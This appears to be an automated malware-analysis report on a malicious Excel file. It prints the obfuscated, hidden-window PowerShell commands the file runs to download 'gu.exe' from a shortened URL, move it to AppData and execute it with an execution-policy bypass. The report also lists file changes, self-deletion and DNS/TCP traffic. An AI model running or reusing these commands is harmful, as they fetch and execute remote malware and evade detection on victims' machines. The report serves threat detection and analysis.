Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile').Invoke('https://cutt.ly/shTXYO3','gu.exe')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 stARt`-slE`Ep 20; Move-Item "gu.exe" -Destination "${enV`:appdata}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/gu.exe')
Modifies file system
Creates the following files
- <Current directory>\ccb01000
Substitutes the following files
- <PATH_SAMPLE>.xls
Deletes itself.
Network activity
TCP
- 'cu#t.ly':443
UDP
- DNS ASK cu#t.ly
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile').Invoke('https://cutt.ly/shTXYO3','gu.exe')' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 stARt`-slE`Ep 20; Move-Item "gu.exe" -Destination "${enV`:appdata}"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/gu.exe')' (with hidden window)
